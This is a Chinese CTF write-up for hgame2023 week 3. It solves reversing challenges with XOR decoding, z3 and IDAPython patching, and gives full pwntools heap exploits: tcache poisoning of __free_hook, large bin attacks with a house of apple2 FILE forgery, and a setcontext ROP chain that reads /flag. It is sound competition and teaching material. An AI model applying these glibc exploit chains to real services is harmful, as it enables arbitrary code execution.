hgame2023 week3 Re&&Pwn...

【WP】hgame2023 week3 Re&&Pwn

Re

cpp那个chacha20加密不会。

kunmusic

用dnspy逆dll,在Program的Main方法中找到了初始化的数据

image-20230124165619198

下断点执行,拷贝出data

image-20230124165658551

写一份脚本进行data与104的异或

def step_one():
    with open("./data", encoding="u8") as f:
        lines = f.readlines()

    data = []
    for line in lines:
        data.append(int(line.strip(), 16) ^ 104)

    data = bytes(data)
    with open("./new.dll", "wb") as f:
        f.write(data)

一开始不清楚这个data异或后的是啥,用chr转为字符串,发现了dos头,所以写入一个新的new.dll的文件,再用dnspy分析

在新的new.dll中,发现music方法中藏了flag

image-20230124165858028

// WinFormsLibrary1.Class1
// Token: 0x06000012 RID: 18 RVA: 0x0000218C File Offset: 0x0000038C
public void music(object sender, EventArgs e)
{
	if (this.num[0] + 52296 + this.num[1] - 26211 + this.num[2] - 11754 + (this.num[3] ^ 41236) + this.num[4] * 63747 + this.num[5] - 52714 + this.num[6] - 10512 + this.num[7] * 12972 + this.num[8] + 45505 + this.num[9] - 21713 + this.num[10] - 59122 + this.num[11] - 12840 + (this.num[12] ^ 21087) == 12702282 && this.num[0] - 25228 + (this.num[1] ^ 20699) + (this.num[2] ^ 8158) + this.num[3] - 65307 + this.num[4] * 30701 + this.num[5] * 47555 + this.num[6] - 2557 + (this.num[7] ^ 49055) + this.num[8] - 7992 + (this.num[9] ^ 57465) + (this.num[10] ^ 57426) + this.num[11] + 13299 + this.num[12] - 50966 == 9946829 && this.num[0] - 64801 + this.num[1] - 60698 + this.num[2] - 40853 + this.num[3] - 54907 + this.num[4] + 29882 + (this.num[5] ^ 13574) + (this.num[6] ^ 21310) + this.num[7] + 47366 + this.num[8] + 41784 + (this.num[9] ^ 53690) + this.num[10] * 58436 + this.num[11] * 15590 + this.num[12] + 58225 == 2372055 && this.num[0] + 61538 + this.num[1] - 17121 + this.num[2] - 58124 + this.num[3] + 8186 + this.num[4] + 21253 + this.num[5] - 38524 + this.num[6] - 48323 + this.num[7] - 20556 + this.num[8] * 56056 + this.num[9] + 18568 + this.num[10] + 12995 + (this.num[11] ^ 39260) + this.num[12] + 25329 == 6732474 && this.num[0] - 42567 + this.num[1] - 17743 + this.num[2] * 47827 + this.num[3] - 10246 + (this.num[4] ^ 16284) + this.num[5] + 39390 + this.num[6] * 11803 + this.num[7] * 60332 + (this.num[8] ^ 18491) + (this.num[9] ^ 4795) + this.num[10] - 25636 + this.num[11] - 16780 + this.num[12] - 62345 == 14020739 && this.num[0] - 10968 + this.num[1] - 31780 + (this.num[2] ^ 31857) + this.num[3] - 61983 + this.num[4] * 31048 + this.num[5] * 20189 + this.num[6] + 12337 + this.num[7] * 25945 + (this.num[8] ^ 7064) + this.num[9] - 25369 + this.num[10] - 54893 + this.num[11] * 59949 + (this.num[12] ^ 12441) == 14434062 && this.num[0] + 16689 + this.num[1] - 10279 + this.num[2] - 32918 + this.num[3] - 57155 + this.num[4] * 26571 + this.num[5] * 15086 + (this.num[6] ^ 22986) + (this.num[7] ^ 23349) + (this.num[8] ^ 16381) + (this.num[9] ^ 23173) + this.num[10] - 40224 + this.num[11] + 31751 + this.num[12] * 8421 == 7433598 && this.num[0] + 28740 + this.num[1] - 64696 + this.num[2] + 60470 + this.num[3] - 14752 + (this.num[4] ^ 1287) + (this.num[5] ^ 35272) + this.num[6] + 49467 + this.num[7] - 33788 + this.num[8] + 20606 + (this.num[9] ^ 44874) + this.num[10] * 19764 + this.num[11] + 48342 + this.num[12] * 56511 == 7989404 && (this.num[0] ^ 28978) + this.num[1] + 23120 + this.num[2] + 22802 + this.num[3] * 31533 + (this.num[4] ^ 39287) + this.num[5] - 48576 + (this.num[6] ^ 28542) + this.num[7] - 43265 + this.num[8] + 22365 + this.num[9] + 61108 + this.num[10] * 2823 + this.num[11] - 30343 + this.num[12] + 14780 == 3504803 && this.num[0] * 22466 + (this.num[1] ^ 55999) + this.num[2] - 53658 + (this.num[3] ^ 47160) + (this.num[4] ^ 12511) + this.num[5] * 59807 + this.num[6] + 46242 + this.num[7] + 3052 + (this.num[8] ^ 25279) + this.num[9] + 30202 + this.num[10] * 22698 + this.num[11] + 33480 + (this.num[12] ^ 16757) == 11003580 && this.num[0] * 57492 + (this.num[1] ^ 13421) + this.num[2] - 13941 + (this.num[3] ^ 48092) + this.num[4] * 38310 + this.num[5] + 9884 + this.num[6] - 45500 + this.num[7] - 19233 + this.num[8] + 58274 + this.num[9] + 36175 + (this.num[10] ^ 18568) + this.num[11] * 49694 + (this.num[12] ^ 9473) == 25546210 && this.num[0] - 23355 + this.num[1] * 50164 + (this.num[2] ^ 34618) + this.num[3] + 52703 + this.num[4] + 36245 + this.num[5] * 46648 + (this.num[6] ^ 4858) + (this.num[7] ^ 41846) + this.num[8] * 27122 + (this.num[9] ^ 42058) + this.num[10] * 15676 + this.num[11] - 31863 + this.num[12] + 62510 == 11333836 && this.num[0] * 30523 + (this.num[1] ^ 7990) + this.num[2] + 39058 + this.num[3] * 57549 + (this.num[4] ^ 53440) + this.num[5] * 4275 + this.num[6] - 48863 + (this.num[7] ^ 55436) + (this.num[8] ^ 2624) + (this.num[9] ^ 13652) + this.num[10] + 62231 + this.num[11] + 19456 + this.num[12] - 13195 == 13863722)
	{
		int[] array = new int[]
		{
			132,
			47,
			180,
			7,
			216,
			45,
			68,
			6,
			39,
			246,
			124,
			2,
			243,
			137,
			58,
			172,
			53,
			200,
			99,
			91,
			83,
			13,
			171,
			80,
			108,
			235,
			179,
			58,
			176,
			28,
			216,
			36,
			11,
			80,
			39,
			162,
			97,
			58,
			236,
			130,
			123,
			176,
			24,
			212,
			56,
			89,
			72
		};
		string text = "";
		for (int i = 0; i < array.Length; i++)
		{
			text += ((char)(array[i] ^ this.num[i % this.num.Length])).ToString();
		}
		new SoundPlayer(Resources.过年鸡).Play();
		MessageBox.Show(text);
	}
}

然后就是常规的z3求解方程了,跑了一会

from z3 import *

def step_one():
    with open("./data", encoding="u8") as f:
        lines = f.readlines()

    data = []
    for line in lines:
        data.append(int(line.strip(), 16) ^ 104)

    data = bytes(data)
    with open("./new", "wb") as f:
        f.write(data)

def stop_two():
    FLAG_LEN = 13
    flag = [BitVec(f"flag{i}", 32) for i in range(FLAG_LEN)]
    s = Solver()
    s.add(flag[0] + 52296 + flag[1] - 26211 + flag[2] - 11754 + (flag[3] ^ 41236) + flag[4] * 63747 + flag[5] - 52714 + flag[6] - 10512 + flag[7] * 12972 + flag[8] + 45505 + flag[9] - 21713 + flag[10] - 59122 + flag[11] - 12840 + (flag[12] ^ 21087) == 12702282)
    s.add(flag[0] - 25228 + (flag[1] ^ 20699) + (flag[2] ^ 8158) + flag[3] - 65307 + flag[4] * 30701 + flag[5] * 47555 + flag[6] - 2557 + (flag[7] ^ 49055) + flag[8] - 7992 + (flag[9] ^ 57465) + (flag[10] ^ 57426) + flag[11] + 13299 + flag[12] - 50966 == 9946829 ) 
    s.add(flag[0] - 64801 + flag[1] - 60698 + flag[2] - 40853 + flag[3] - 54907 + flag[4] + 29882 + (flag[5] ^ 13574) + (flag[6] ^ 21310) + flag[7] + 47366 + flag[8] + 41784 + (flag[9] ^ 53690) + flag[10] * 58436 + flag[11] * 15590 + flag[12] + 58225 == 2372055 ) 
    s.add(flag[0] + 61538 + flag[1] - 17121 + flag[2] - 58124 + flag[3] + 8186 + flag[4] + 21253 + flag[5] - 38524 + flag[6] - 48323 + flag[7] - 20556 + flag[8] * 56056 + flag[9] + 18568 + flag[10] + 12995 + (flag[11] ^ 39260) + flag[12] + 25329 == 6732474 ) 
    s.add(flag[0] - 42567 + flag[1] - 17743 + flag[2] * 47827 + flag[3] - 10246 + (flag[4] ^ 16284) + flag[5] + 39390 + flag[6] * 11803 + flag[7] * 60332 + (flag[8] ^ 18491) + (flag[9] ^ 4795) + flag[10] - 25636 + flag[11] - 16780 + flag[12] - 62345 == 14020739) 
    s.add(flag[0] - 10968 + flag[1] - 31780 + (flag[2] ^ 31857) + flag[3] - 61983 + flag[4] * 31048 + flag[5] * 20189 + flag[6] + 12337 + flag[7] * 25945 + (flag[8] ^ 7064) + flag[9] - 25369 + flag[10] - 54893 + flag[11] * 59949 + (flag[12] ^ 12441) == 14434062) 
    s.add(flag[0] + 16689 + flag[1] - 10279 + flag[2] - 32918 + flag[3] - 57155 + flag[4] * 26571 + flag[5] * 15086 + (flag[6] ^ 22986) + (flag[7] ^ 23349) + (flag[8] ^ 16381) + (flag[9] ^ 23173) + flag[10] - 40224 + flag[11] + 31751 + flag[12] * 8421 == 7433598 ) 
    s.add(flag[0] + 28740 + flag[1] - 64696 + flag[2] + 60470 + flag[3] - 14752 + (flag[4] ^ 1287) + (flag[5] ^ 35272) + flag[6] + 49467 + flag[7] - 33788 + flag[8] + 20606 + (flag[9] ^ 44874) + flag[10] * 19764 + flag[11] + 48342 + flag[12] * 56511 == 7989404 ) 
    s.add((flag[0] ^ 28978) + flag[1] + 23120 + flag[2] + 22802 + flag[3] * 31533 + (flag[4] ^ 39287) + flag[5] - 48576 + (flag[6] ^ 28542) + flag[7] - 43265 + flag[8] + 22365 + flag[9] + 61108 + flag[10] * 2823 + flag[11] - 30343 + flag[12] + 14780 == 3504803 ) 
    s.add(flag[0] * 22466 + (flag[1] ^ 55999) + flag[2] - 53658 + (flag[3] ^ 47160) + (flag[4] ^ 12511) + flag[5] * 59807 + flag[6] + 46242 + flag[7] + 3052 + (flag[8] ^ 25279) + flag[9] + 30202 + flag[10] * 22698 + flag[11] + 33480 + (flag[12] ^ 16757) == 11003580 ) 
    s.add(flag[0] * 57492 + (flag[1] ^ 13421) + flag[2] - 13941 + (flag[3] ^ 48092) + flag[4] * 38310 + flag[5] + 9884 + flag[6] - 45500 + flag[7] - 19233 + flag[8] + 58274 + flag[9] + 36175 + (flag[10] ^ 18568) + flag[11] * 49694 + (flag[12] ^ 9473) == 25546210 ) 
    s.add(flag[0] - 23355 + flag[1] * 50164 + (flag[2] ^ 34618) + flag[3] + 52703 + flag[4] + 36245 + flag[5] * 46648 + (flag[6] ^ 4858) + (flag[7] ^ 41846) + flag[8] * 27122 + (flag[9] ^ 42058) + flag[10] * 15676 + flag[11] - 31863 + flag[12] + 62510 == 11333836 ) 
    s.add(flag[0] * 30523 + (flag[1] ^ 7990) + flag[2] + 39058 + flag[3] * 57549 + (flag[4] ^ 53440) + flag[5] * 4275 + flag[6] - 48863 + (flag[7] ^ 55436) + (flag[8] ^ 2624) + (flag[9] ^ 13652) + flag[10] + 62231 + flag[11] + 19456 + flag[12] - 13195 == 13863722) 

    res = []
    if s.check() == sat:
        print("find!")
        m = s.model()
        for i in range(0, FLAG_LEN):
            res.append(int(f"{m[flag[i]]}"))
        print(res)
    else:
        print("no way")
    return res

res = [236, 72, 3820880085, 2147483754, 189, 86, 819593278, 53, 120, 1801978055, 15, 93, 133]
array = [
    132,
    47,
    180,
    7,
    216,
    45,
    68,
    6,
    39,
    246,
    124,
    2,
    243,
    137,
    58,
    172,
    53,
    200,
    99,
    91,
    83,
    13,
    171,
    80,
    108,
    235,
    179,
    58,
    176,
    28,
    216,
    36,
    11,
    80,
    39,
    162,
    97,
    58,
    236,
    130,
    123,
    176,
    24,
    212,
    56,
    89,
    72,
]
fin_flag = ""
for i in range(len(array)):
    fin_flag += chr((array[i] ^ res[i % len(res)]) & 0xff)

print(fin_flag)

image-20230124165951867

patchme

使用ida打开,发现在main函数之前执行了一份自解密算法

image-20230124170116555

写一份idapython的脚本进行异或操作

import idc

addr = 0x14C6
for i in range(961):
    idc.patch_byte(addr+i, idc.get_wide_byte(i+addr) ^ 0x66)

异或完之后,stack爆红,但是没关系,直接看汇编,发现改两个判断条件跳转到flag输出位置就行了

image-20230124170339822

这样就会跳转到loc_1648这个输出flag的函数

image-20230124170405740

之后在用idapython异或一次,保存patch然后运行就得到了flag

WindowsTerminal-202301240501632

Pwn

safe_note

2.32的uaf,fd指针被异或加密了,但是可以在第一次add后直接free,可以得到heap_base

泄露libc的方法有很多,可以申请到tcache管理块,然后用"\x07\x00"填满,之后free管理快就能泄露libc

或者把tacche填满,free一个chunk进入unsorted bin,之后就能泄露main_arena+96的地址

泄露完libc就可以改tcache的fd为free_hook,注意记得给fd进行异或加密。加密方式就是当前堆地址右移12位异或上想要申请到的地址。

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/23 20:04:51
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

if pwnio.ip:
    libc = ELF("./2.32-0ubuntu3.2_amd64/libc.so.6")

cmd = lambda idx: sla(">", str(idx))


def add(idx, size):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


add(15, 0xFF)
free(15)
show(15)

heap_base = leak(u64(ru("\n").ljust(8, b"\x00")) << 12, "heap_base")

for i in range(7):
    add(i, 0x80)

add(7, 0x80)
add(8, 0x10)

for i in range(7):
    free(i)

free(7)
edit(7, "a")
show(7)
libc.address = leak(l64() - 0x219C61 + 0x36000, "libc")
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]
edit(7,b"\x00")


add(10, 0x20)
add(11, 0x20)

free(11)
free(10)
edit(10, p64(pack(heap_base+0x7a0, free_hook)))

add(12, 0x20)
edit(12,  b"/bin/sh\x00")
add(13, 0x20)
edit(13, p64(system_addr))

free(12)

# dbg()
ia()

large_note

很经典的large bin attack的例题。

这里我使用的是house of apple2的链子。

larger bin attack修改_IO_list_all的_chain为可控的堆地址,伪造_IO_2_1_stderr

然后就是执行system(" sh;")

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/23 22:23:48
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


def build_fake_file(addr, vtable, _wide_data):
    # flag = 0xFBAD2887
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    # 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(addr)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file


"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec system("  sh;")
"""

add(0, 0x508)  # fake_wide_data
add(1, 0x550)  # fake_chain
add(2)
add(3, 0x540)
add(4)

#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")

#! to large bin
add(5, 0x600)  # fake_jump

#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)

#! free large_chunk2 into unsortedbin
free(3)

#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)

#! edit _flags -> "  sh;"
edit(0, b"\x00" * 0x500 + b"  sh;")

#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")

#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))

#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
fake_jump = heap_base + 0x1C70
_wide_data = {0x18: 0, 0x30: 0, 0xE0: fake_jump}
edit(0, flat(_wide_data))
edit(5, p64(libc.sym["system"]) * 12)

cmd(5)

ia()

后面思考了一下发现其实可以使用更简单的打_free_hook的做法

  1. large bin attack修改mp_.tcache_bins成一个大数
  2. tcache的基本做法,修改fd为_free_hook^heap_addr
  3. 该_free_hook为system
  4. free("/bin/sh\x00")
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp_mp_tcache_bins.py
# @Author  :  woodwhale
# @Time    :  2023/01/25 11:01:08
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


#! show libc
add(0)
add(1)
free(0)
edit(0, "a")
show(0)
libc.address = leak(l64() - (0x00007FCA26CFDC61 - 0x7FCA26B1A000), "libc.address")
edit(0, "\x00")

#! get mp_ and tcache_bins address
mp_ = leak(libc.address + (0x7FD42D14C280 - 0x7FD42CF69000), "mp_")
tcache_bins = mp_ + 80

#! large bin attact tcache_bins
add(2, 0x610)
add(3, 0x510)
add(4, 0x600)
add(5, 0x510)

free(2)
#* push 2 from unsorted bin to large bin
add(6, 0x700)

#* free 4 to unsorted bin
free(4)

#* edit 2 bk_nextsize to target address
edit(2, b"a" * 15 + b"b")
show(2)
ru("b")
heap_base = leak(uu64(r(6))-0xcb0, "heap_base")
edit(2, p64(libc.address + 0x1E4070) * 2 + p64(heap_base+0xcb0) + p64(tcache_bins - 0x20))

#* 触发 large bin attack
add(7)

#* tcache
free(5)

free(3)

chunk_3_addr = heap_base + 0x12d0
edit(3, p64(pack(chunk_3_addr, libc.sym["__free_hook"])))

add(8, 0x510)
add(9, 0x510)
edit(9, p64(libc.sym["system"]))

edit(8, "/bin/sh\x00")

free(8)


ia()

note_context

和上一题一样,就是加了个沙箱,ban了execve

使用setcontext+61的链子进行orw,栈迁移到可控的堆地址上就可以了

同样使用house of apple2,当然也可以使用修改tcache_bins的做法

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/24 11:17:12
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


def build_fake_file(addr, vtable, _wide_data):
    # flag = 0xFBAD2887
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    # 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(addr)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file


"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec setcontext+61
"""

add(0, 0x508)  # fake_wide_data
add(1, 0x550)  # fake_chain
add(2)
add(3, 0x540)
add(4)

#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")

#! to large bin
add(5, 0x600)  # fake_jump

#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)

#! free large_chunk2 into unsortedbin
free(3)

#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)

#! edit _flags -> "  sh;"
edit(0, b"\x00" * 0x500 + b"  sh;")

#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")

#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))

#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
ret_addr = libc.address + 0x0000000000026699
pop_rdi = libc.address + 0x000000000002858F
pop_rsi = libc.address + 0x000000000002AC3F
pop_rdx_rbx = libc.address + 0x00000000001597D6
flag_addr = heap_base + 0x2A0
open_addr = libc.sym["open"]
read_addr = libc.sym["read"]
puts_addr = libc.sym["puts"]

fake_jump = heap_base + 0x1C70
_wide_data = {
    0: b"/flag\x00",
    0x18: 0,
    0x30: 0,
    0xA0: fake_jump + 8 * 14,  # orw addr
    0xA8: ret_addr,  # ret addr
    0xE0: fake_jump,
}
edit(0, flat(_wide_data))
setcontext_61 = libc.sym["setcontext"] + 61
edit(
    5,
    p64(setcontext_61) * 12
    + flat(  # orw
        pop_rdi,
        flag_addr,
        pop_rsi,
        0,
        open_addr,
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_rbx,
        0x100,
        0,
        read_addr,
        pop_rdi,
        flag_addr,
        puts_addr,
    ),
)


cmd(5)  # exit
"""
_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
                setcontext+61
                    orw
"""

ia()